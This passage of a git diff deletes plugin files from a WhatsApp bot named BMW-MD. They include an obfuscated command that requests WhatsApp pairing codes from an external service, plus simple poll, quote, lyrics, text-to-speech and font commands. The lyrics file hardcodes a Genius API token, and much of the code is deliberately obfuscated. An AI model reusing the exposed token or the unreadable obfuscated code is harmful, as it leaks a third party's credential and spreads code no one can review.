_0x1a93f6===_0x41ed98;},'Jwvaj':function(_0x485414,_0x81b8d7){return _0x485414(_0x81b8d7);},'mQMjj':function(_0x1790de,_0x20408d){return _0x1790de(_0x20408d);},'FlMCK':function(_0x3988f8,_0x4d8443){return _0x3988f8(_0x4d8443);},'zUhjN':_0x261896(0xec)+_0x261896(0x98)+_0x261896(0x7c)+_0x261896(0xca),'rVScb':_0x261896(0xdc),'FCnvD':_0x261896(0x8d)+_0x261896(0xeb)+_0x261896(0x91),'VpmRW':_0x261896(0x8a)+_0x261896(0xda)+_0x261896(0xa4)+_0x261896(0xf7)+_0x261896(0xa8)+_0x261896(0xf2)},{repondre:_0x20d6e8,arg:_0x22ec38,ms:_0x5c667f}=_0x57a3f1;try{if(!_0x22ec38||_0x17f32e[_0x261896(0xc7)](_0x22ec38[_0x261896(0xae)],-0x2450+-0x16e*0x7+0x2e52))return _0x17f32e[_0x261896(0xbd)](_0x20d6e8,_0x261896(0xd0)+_0x261896(0x9a)+'n.');const _0x3ae5a1=_0x22ec38[_0x261896(0xd5)]('\x20'),_0x293682=await axios[_0x261896(0xe3)](_0x261896(0xde)+_0x261896(0xea)+_0x261896(0x97)+_0x261896(0xb3)+_0x261896(0x7b)+_0x3ae5a1+(_0x261896(0x83)+_0x261896(0xc5))),_0x57c223=_0x293682[_0x261896(0x9b)];_0x57c223?_0x17f32e[_0x261896(0xb9)](_0x20d6e8,_0x57c223[_0x261896(0xd2)]):_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0xfa)]);}catch(_0x51db2e){console[_0x261896(0xe1)](_0x17f32e[_0x261896(0xf8)],_0x51db2e[_0x261896(0xd4)]||_0x17f32e[_0x261896(0xac)]),_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0x99)]);}});
diff --git a/scs/bmwqpa.js b/scs/bmwqpa.js
deleted file mode 100644
index e349d52..0000000
--- a/scs/bmwqpa.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x2cc7b0=_0x1a0d;(function(_0x3ab1d1,_0x3c0650){const _0x1a76cb=_0x1a0d,_0x2ec995=_0x3ab1d1();while(!![]){try{const _0x3f3393=parseInt(_0x1a76cb(0x1ac))/(-0xdb5*-0x1+-0x1*0x1424+-0x338*-0x2)*(parseInt(_0x1a76cb(0x191))/(-0x97a*0x3+-0x700+-0x70*-0x51))+parseInt(_0x1a76cb(0x188))/(0x1f*0xd1+0x403*-0x1+-0x1*0x1549)*(parseInt(_0x1a76cb(0x168))/(-0xd*0x187+0x1*-0xfad+-0x46*-0x82))+-parseInt(_0x1a76cb(0x19c))/(-0x3*-0xb5f+-0x1*0x811+-0x8ad*0x3)+parseInt(_0x1a76cb(0x1a8))/(0x169+-0x1bbb+-0xc*-0x232)*(parseInt(_0x1a76cb(0x17e))/(0x101f+-0x8b5*-0x3+-0x2a37))+parseInt(_0x1a76cb(0x1a5))/(0x9c9+-0x37b*-0xb+-0x300a)*(parseInt(_0x1a76cb(0x1a2))/(0xfd*-0x24+-0xeba+0x3257))+-parseInt(_0x1a76cb(0x16a))/(0xa57+-0xdd2*0x1+0x1*0x385)+parseInt(_0x1a76cb(0x16b))/(-0x52a*-0x4+0xccf+0x216c*-0x1)*(-parseInt(_0x1a76cb(0x1a6))/(0x1*0x913+0x7f*-0x11+-0x98*0x1));if(_0x3f3393===_0x3c0650)break;else _0x2ec995['push'](_0x2ec995['shift']());}catch(_0x415a17){_0x2ec995['push'](_0x2ec995['shift']());}}}(_0x3447,-0xb6917+0xd4bd6+0x928e4));const {adams}=require(_0x2cc7b0(0x1b1)+_0x2cc7b0(0x190)),traduire=require(_0x2cc7b0(0x1b1)+_0x2cc7b0(0x196)+'n'),{default:axios}=require(_0x2cc7b0(0x17c)),pkg=require(_0x2cc7b0(0x160)+_0x2cc7b0(0x18b)+_0x2cc7b0(0x16c)),{generateWAMessageFromContent,proto}=pkg;function _0x3447(){const _0x2ed6f2=['495081GdazQC','COPY\x20YOUR\x20','mNefw','ckets/bail','cta_copy','se\x20from\x20Ap','ode?number','sponse\x20fro','/adams','230116wnRuNw','stringify','Example\x20Us','ing\x20Api\x20re','DkWLW','/traductio','Generating','create','ZHtPl','DiDcF','User','6626765VYDykM','code','sponse:','message','Message','raah-adams','9CqybSd','eMessage','key','2420072qrTIzE','36Xzrwvp','CODE','8116074uqNytD','PIdjB','copy_code','ams*','7XVSRLj','-432q.onre','m\x20Api.','CtfzE','rent','../Ibrahim','KCMGt','@whiskeyso','KrvhT','xx.','*\x0a\x0a\x20BMW\x20MD','age:\x20.rent','our\x20code\x20=','ytrxi','Invalid\x20re','12dekYUh','.....','3454080oTfuSz','2057143GuTqRv','eys','error','Header','length','*\x20*','ing\x20respon','CgQmG','Error\x20gett','PoDIL','relayMessa','nder.com/c','QdfIQ','Body','\x20254xxxxxx','\x20your\x20code','Interactiv','axios','https://ib','7MZRGLE','data','join','*Here\x20is\x20y','Footer','\x20*Made\x20by\x20','NativeFlow','Ibrahim\x20Ad','IlEGu','get'];_0x3447=function(){return _0x2ed6f2;};return _0x3447();}function _0x1a0d(_0x26e413,_0x3719c7){const _0x186f7a=_0x3447();return _0x1a0d=function(_0x520da0,_0x18080a){_0x520da0=_0x520da0-(-0x17*-0x27+0x1712+-0x64d*0x4);let _0x5e129f=_0x186f7a[_0x520da0];return _0x5e129f;},_0x1a0d(_0x26e413,_0x3719c7);}adams({'nomCom':_0x2cc7b0(0x1b0),'reaction':'🚘','categorie':_0x2cc7b0(0x19b)},async(_0x302c30,_0x510538,_0xb592fe)=>{const _0x22ef40=_0x2cc7b0,_0x325956={'mNefw':function(_0x3fbaed,_0x48732c){return _0x3fbaed===_0x48732c;},'ZHtPl':function(_0xf47032,_0x46a811){return _0xf47032(_0x46a811);},'QdfIQ':_0x22ef40(0x193)+_0x22ef40(0x164)+_0x22ef40(0x179)+_0x22ef40(0x162),'PIdjB':_0x22ef40(0x197)+_0x22ef40(0x17a)+_0x22ef40(0x169),'DiDcF':_0x22ef40(0x18c),'IlEGu':_0x22ef40(0x189)+_0x22ef40(0x1a7),'CgQmG':_0x22ef40(0x1aa),'KCMGt':function(_0x451a3e,_0x4e920e,_0x3909e6,_0x329459){return _0x451a3e(_0x4e920e,_0x3909e6,_0x329459);},'KrvhT':_0x22ef40(0x183)+_0x22ef40(0x185)+_0x22ef40(0x1ab),'CtfzE':_0x22ef40(0x167)+_0x22ef40(0x18f)+_0x22ef40(0x1ae),'DkWLW':_0x22ef40(0x173)+_0x22ef40(0x194)+_0x22ef40(0x19e),'PoDIL':function(_0x5a664e,_0x433817){return _0x5a664e(_0x433817);},'ytrxi':_0x22ef40(0x173)+_0x22ef40(0x171)+_0x22ef40(0x18d)+'i.'},{repondre:_0x1268f0,arg:_0x2e987d,ms:_0x2523f6}=_0xb592fe;try{if(!_0x2e987d||_0x325956[_0x22ef40(0x18a)](_0x2e987d[_0x22ef40(0x16f)],-0x16ef+-0x1*0x221a+0x3909))return _0x325956[_0x22ef40(0x199)](_0x1268f0,_0x325956[_0x22ef40(0x177)]);await _0x325956[_0x22ef40(0x199)](_0x1268f0,_0x325956[_0x22ef40(0x1a9)]);const _0x474bf0=_0x325956[_0x22ef40(0x199)](encodeURIComponent,_0x2e987d[_0x22ef40(0x180)]('\x20')),_0x22724=_0x22ef40(0x17d)+_0x22ef40(0x1a1)+_0x22ef40(0x1ad)+_0x22ef40(0x176)+_0x22ef40(0x18e)+'='+_0x474bf0,_0xc5e8d9=await axios[_0x22ef40(0x187)](_0x22724),_0x5c192a=_0xc5e8d9[_0x22ef40(0x17f)];if(_0x5c192a&&_0x5c192a[_0x22ef40(0x19d)]){const _0x4cc09c=_0x5c192a[_0x22ef40(0x19d)],_0x2f86e7=_0x22ef40(0x181)+_0x22ef40(0x165)+_0x22ef40(0x170)+_0x4cc09c+_0x22ef40(0x163),_0x1bab72=[{'name':_0x325956[_0x22ef40(0x19a)],'buttonParamsJson':JSON[_0x22ef40(0x192)]({'display_text':_0x325956[_0x22ef40(0x186)],'id':_0x325956[_0x22ef40(0x172)],'copy_code':_0x4cc09c})}],_0x67f183=_0x325956[_0x22ef40(0x15f)](generateWAMessageFromContent,_0x302c30,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x22ef40(0x1a0)][_0x22ef40(0x17b)+_0x22ef40(0x1a3)][_0x22ef40(0x198)]({'body':proto[_0x22ef40(0x1a0)][_0x22ef40(0x17b)+_0x22ef40(0x1a3)][_0x22ef40(0x178)][_0x22ef40(0x198)]({'text':_0x2f86e7}),'footer':proto[_0x22ef40(0x1a0)][_0x22ef40(0x17b)+_0x22ef40(0x1a3)][_0x22ef40(0x182)][_0x22ef40(0x198)]({'text':_0x325956[_0x22ef40(0x161)]}),'header':proto[_0x22ef40(0x1a0)][_0x22ef40(0x17b)+_0x22ef40(0x1a3)][_0x22ef40(0x16e)][_0x22ef40(0x198)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x22ef40(0x1a0)][_0x22ef40(0x17b)+_0x22ef40(0x1a3)][_0x22ef40(0x184)+_0x22ef40(0x1a0)][_0x22ef40(0x198)]({'buttons':_0x1bab72})})}}},{});await _0x510538[_0x22ef40(0x175)+'ge'](_0x302c30,_0x67f183[_0x22ef40(0x19f)],{'messageId':_0x67f183[_0x22ef40(0x1a4)]['id']});}else throw new Error(_0x325956[_0x22ef40(0x1af)]);}catch(_0x4e3db6){console[_0x22ef40(0x16d)](_0x325956[_0x22ef40(0x195)],_0x4e3db6[_0x22ef40(0x19f)]),_0x325956[_0x22ef40(0x174)](_0x1268f0,_0x325956[_0x22ef40(0x166)]);}});
diff --git a/scs/bmwr.js b/scs/bmwr.js
deleted file mode 100644
index 46a24ce..0000000
--- a/scs/bmwr.js
+++ /dev/null
@@ -1,114 +0,0 @@
-const {
- adams
-} = require("../Ibrahim/adams");
-const axios = require("axios");
-const Genius = require("genius-lyrics");
-const Client = new Genius.Client("jKTbbU-6X2B9yWWl-KOm7Mh3_Z6hQsgE4mmvwV3P3Qe7oNa9-hsrLxQV5l5FiAZO");
-adams({
- 'nomCom': 'poll',
- 'reaction': '💠',
- 'categorie': "General"
-}, async (_0x30c4fc, _0x12f9f4, _0x257571) => {
- const {
- repondre: _0x394782,
- arg: _0x3aacc5,
- ms: _0x50fea5
- } = _0x257571;
- const _0x24dbc4 = _0x3aacc5.join(" ");
- let [_0x48d7c3, _0x3c6856] = _0x24dbc4.split('/');
- if (_0x24dbc4.split('/') < 0x2) {
- return _0x394782("Incorrect format.\nExample: poll what is 1+1/2, 3, 4");
- }
- let _0x28e247 = [];
- for (let _0x44e06d of _0x3c6856.split(',')) {
- _0x28e247.push(_0x44e06d);
- }
- await _0x12f9f4.sendMessage(_0x30c4fc, {
- 'poll': {
- 'name': _0x48d7c3,
- 'values': _0x28e247
- }
- });
-});
-
-adams({
- 'nomCom': 'fact',
- 'reaction': '👌',
- 'categorie': 'User'
-}, async (_0x3c85fa, _0xe0dd81, _0x20339c) => {
- const {
- repondre: _0x12e23a,
- arg: _0xec0687,
- ms: _0x5d5368
- } = _0x20339c;
- const _0x5754a8 = await fetch("https://nekos.life/api/v2/fact");
- const _0x21e127 = await _0x5754a8.json();
- _0x12e23a(" *BMW MD FACT MESSAGE* \n*💠* " + _0x21e127.fact + "\n\n\n\n\n*©Ibrahim Adams*\n\n╔═════◇\n║◇ *BMW MD*\n╚════════════════════> ");
-});
-adams({
- 'nomCom': "quote",
- 'reaction': '🗿',
- 'categorie': 'User'
-}, async (_0x139e97, _0xb6d444, _0x53dc51) => {
- const {
- repondre: _0x3bef2d,
- arg: _0x135e01,
- ms: _0x4a891b
- } = _0x53dc51;
- const _0x2784cf = await fetch('https://favqs.com/api/qotd');
- const _0x1f25fb = await _0x2784cf.json();
- const _0x2b238b = "\nBMW MD QUITE MESSAGE \n◇ _" + _0x1f25fb.quote.body + "_\n\n\n◇ *AUTHOR:* " + _0x1f25fb.quote.author + "\n\n\n\n\n◇ *©Ibrahim Adams**\n\n\n╔═════◇\n║◇ *BMW MD*\n╚════════════════════> ";
- _0x3bef2d(_0x2b238b);
-});
-adams({
- 'nomCom': 'define',
- 'reaction': '😁',
- 'categorie': "Search"
-}, async (_0x2d6773, _0x1778cf, _0x5bcf7e) => {
- const {
- repondre: _0x3c6e3b,
- arg: _0x3997ea,
- ms: _0x10a9bb
- } = _0x5bcf7e;
- if (!_0x3997ea || _0x3997ea.length === 0x0) {
- return _0x3c6e3b("provide a term");
- }
- const _0x243eb3 = _0x3997ea.join(" ");
- try {
- let {
- data: _0x31830d
- } = await axios.get("http://api.urbandictionary.com/v0/define?term=" + _0x243eb3);
- var _0x259634 = "\n Word: " + _0x243eb3 + "\n Definition: " + _0x31830d.list[0x0].definition.replace(/\[/g, '').replace(/\]/g, '') + "\n Example: " + _0x31830d.list[0x0].example.replace(/\[/g, '').replace(/\]/g, '');
- return _0x3c6e3b(_0x259634);
- } catch {
- return _0x3c6e3b("No result for " + _0x243eb3);
- }
-});
-adams({
- 'nomCom': "lyrics",
- 'reaction': '🗞',
- 'categorie': "Search"
-}, async (_0x16b585, _0x24921b, _0x5047e1) => {
- const {
- repondre: _0x323d88,
- arg: _0x47ee56,
- ms: _0x26dbd3
- } = _0x5047e1;
- try {
- if (!_0x47ee56 || _0x47ee56.length === 0x0) {
- return _0x323d88("please provide me the song name");
- }
- const _0x2d6993 = _0x47ee56.join(" ");
- const _0x19a972 = await Client.songs.search(_0x2d6993);
- const _0x349a1c = _0x19a972[0x0];
- const _0x3e8204 = await _0x349a1c.lyrics();
- await _0x24921b.sendMessage(_0x16b585, {
- 'text': _0x3e8204
- }, {
- 'quoted': _0x26dbd3
- });
- } catch (_0xe736b5) {
- reply("I did not find any lyrics for " + text + ". Try searching a different song.");
- console.log(_0xe736b5);
- }
-});
diff --git a/scs/bmwrepo.js b/scs/bmwrepo.js
deleted file mode 100644
index f3c3343..0000000
--- a/scs/bmwrepo.js
+++ /dev/null
@@ -1,1338 +0,0 @@
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
- 'value': true
-});
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "repo",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
- const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
- const _0x36b130 = await _0x2f4eff.json();
- if (_0x36b130) {
- const _0x50985d = {
- 'stars': _0x36b130.stargazers_count,
- 'forks': _0x36b130.forks_count,
- 'lastUpdate': _0x36b130.updated_at,
- 'owner': _0x36b130.owner.login
- };
- const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x3cdb38.sendMessage(_0x256950, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x20cf11
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-
-adams({
- 'nomCom': "git",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
- const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x54f98d = await _0x23b84a.json();
- if (_0x54f98d) {
- const _0x33ab65 = {
- 'stars': _0x54f98d.stargazers_count,
- 'forks': _0x54f98d.forks_count,
- 'lastUpdate': _0x54f98d.updated_at,
- 'owner': _0x54f98d.owner.login
- };
- const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
- await _0xc5957d.sendMessage(_0x2ad97e, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x305ae3
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'sc',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
- const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x3fb866 = await _0x21464f.json();
- if (_0x3fb866) {
- const _0x4bac21 = {
- 'stars': _0x3fb866.stargazers_count,
- 'forks': _0x3fb866.forks_count,
- 'lastUpdate': _0x3fb866.updated_at,
- 'owner': _0x3fb866.owner.login
- };
- const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x41191c.sendMessage(_0x1f8a03, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x58e2e9
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'script',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
- const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x40fb34 = await _0x10746e.json();
- if (_0x40fb34) {
- const _0x4777ba = {
- 'stars': _0x40fb34.stargazers_count,
- 'forks': _0x40fb34.forks_count,
- 'lastUpdate': _0x40fb34.updated_at,
- 'owner': _0x40fb34.owner.login
- };
- const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x300ccb.sendMessage(_0x44e4c9, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x338973
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/scs/bmws.js b/scs/bmws.js
deleted file mode 100644
index ebf0562..0000000
--- a/scs/bmws.js
+++ /dev/null
@@ -1,74 +0,0 @@
-const googleTTS = require('google-tts-api');
-const {adams} = require("../Ibrahim/adams");
-
-
-adams( {
- nomCom : "dit",
- categorie : "tts",
- reaction : "👄" },
- async(dest,zk, commandeOptions)=> {
-
-const {ms,arg,repondre} = commandeOptions;
- if (!arg[0]) {repondre("Insert a word");return} ;
- const mots = arg.join(" ")
-
-const url = googleTTS.getAudioUrl( mots, {
- lang: 'fr',
- slow: false,
- host: 'https://translate.google.com',
-});
-console.log(url);
- zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
-
-
-
-
-}
-) ;
-
-adams( {
- nomCom : "itta",
- categorie : "tts",
- reaction : "👄" },
- async(dest,zk, commandeOptions)=> {
-
-const {ms,arg,repondre} = commandeOptions;
- if (!arg[0]) {repondre("nana");return} ;
- const mots = arg.join(" ")
-
-const url = googleTTS.getAudioUrl( mots, {
- lang: 'ja',
- slow: false,
- host: 'https://translate.google.com',
-});
-console.log(url);
- zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
-
-
-
-}
-) ;
-
-adams( {
- nomCom : "say",
- categorie : "tts",
- reaction : "👄" },
- async(dest,zk, commandeOptions)=> {
-
-const {ms,arg,repondre} = commandeOptions;
- if (!arg[0]) {repondre("Insert a word");return} ;
- const mots = arg.join(" ")
-
-const url = googleTTS.getAudioUrl( mots, {
- lang: 'en',
- slow: false,
- host: 'https://translate.google.com',
-});
-console.log(url);
- zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
-
-
-
-}
-) ;
-
diff --git a/scs/bmwt.js b/scs/bmwt.js
deleted file mode 100644
index 87f9a1d..0000000
--- a/scs/bmwt.js
+++ /dev/null
@@ -1,62 +0,0 @@
-function apply(map, text) {
- let result = "";
- for (let character of text.split("")) {
- if (map[character] !== undefined) result += map[character];
- else if (map[character.toLowerCase()] !== undefined) result += map[character.toLowerCase()];
- else result += character;
- }
- return result;
-}
-
-function list(text, fancy) {
- let styles = Object.keys(fancy).filter(e => e.length < 3);
- let msg = '\n*Availabe Fancy styles for BMW-MD:*\n\n';
- for (let style in styles) {
- if (style == 33) {
- msg += (parseInt(style) + 1) + '. ' + 'bmw-md' + '\n';
- } else {
- msg += (parseInt(style) + 1) + '. ' + fancy.apply(fancy[parseInt(style)], text) + '\n';
- }
- }
- return msg;
-}
-
-
-module.exports = {
- 0:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ" },
